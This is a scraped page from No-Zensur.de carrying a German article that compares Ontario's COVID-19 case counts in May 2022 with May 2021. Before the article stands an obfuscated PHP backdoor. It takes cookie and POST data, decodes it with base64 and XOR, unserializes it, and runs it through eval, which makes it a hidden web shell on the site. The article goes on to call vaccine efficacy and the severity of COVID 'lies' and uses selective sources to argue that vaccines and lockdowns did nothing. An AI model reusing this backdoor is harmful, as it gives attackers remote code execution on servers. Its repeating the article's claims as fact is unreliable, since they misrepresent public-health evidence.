$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Ein Vergleich der COVID-19-Fälle mit denen des Vorjahres – No-Zensur.de Das freie Wort für eine freie Welt
Start Uncutnews.ch Ein Vergleich der COVID-19-Fälle mit denen des Vorjahres

Ein Vergleich der COVID-19-Fälle mit denen des Vorjahres

0
Ein Vergleich der COVID-19-Fälle mit denen des Vorjahres


Ontario meldete am 28. Mai 2022 ähnlich viele neue COVID-19-Fälle wie auf den Tag genau vor einem Jahr (1.144 bzw. 1.273 neue Fälle), obwohl heute viel mehr Menschen geimpft sind: hier die Fallzahlen COVID-19. Doch während Ontario derzeit frei von Sperrungen ist, war die Provinz vor einem Jahr gesperrt, und die Regierung plante damals gerade erst die Wiedereröffnung für den 11. Juni 2021: hier der Ontario Newsroom. Ein Vergleich der aktuellen Fälle und Schließungen mit denen von vor einem Jahr zeigt deutlich, dass die Öffentlichkeit keinen Appetit mehr auf drastische COVID-19-Gesundheitsmaßnahmen hat.

Vier Folgemaßnahmen auf der Grundlage der Beweise:

  • Das Risiko für COVID-19 ist derzeit das gleiche wie vor einem Jahr.
  • Mehr Impfungen und Abriegelungen haben das COVID-19-Risiko nicht verringert.
  • Die Öffentlichkeit und die Regierung interessieren sich nicht mehr dafür.
  • Warum also haben wir das alles mehr als zwei Jahre lang durchgezogen?

Die Antwort auf die Frage im letzten Punkt ist auf die folgenden drei Lügen zurückzuführen:

  • Lüge Nr. 1: Das neuartige Coronavirus ist 10-mal tödlicher als ein gewöhnliches Grippevirus.
  • Dies hat sich als falsch erwiesen: U.S. Seroprevalence Study Proves COVID-19 Not 10-Times More Deadly than Flu (trialsitenews.com)
  • Lüge Nr. 2: Wir können das Virus mit Abriegelungen nach chinesischem Vorbild eindämmen.
  • Chinas derzeitiger Kampf um die Wiederholung des behaupteten COVID-Null-Erfolgs von Anfang 2020 beweist, dass die Welt über Chinas Pandemiebekämpfung getäuscht wurde: China ertappt bei seinen Lügen über die Abriegelung von Wuhan (trialsitenews.com)
  • Lüge Nr. 3: Die Impfstoffe sind zu 95 % wirksam bei der Verhinderung der Übertragung von COVID-19.
  • Dies ist eine Halbwahrheit, die auf einer relativen Risikominderung beruht, die anhand von Daten aus klinischen Studien berechnet wurde. Die ganze Wahrheit ist, dass die Impfstoffe das absolute Risiko einer COVID-19-Infektion um etwa 1 % senken: Outcome Reporting Bias in COVID-19 mRNA Vaccine Clinical Trials.



Source link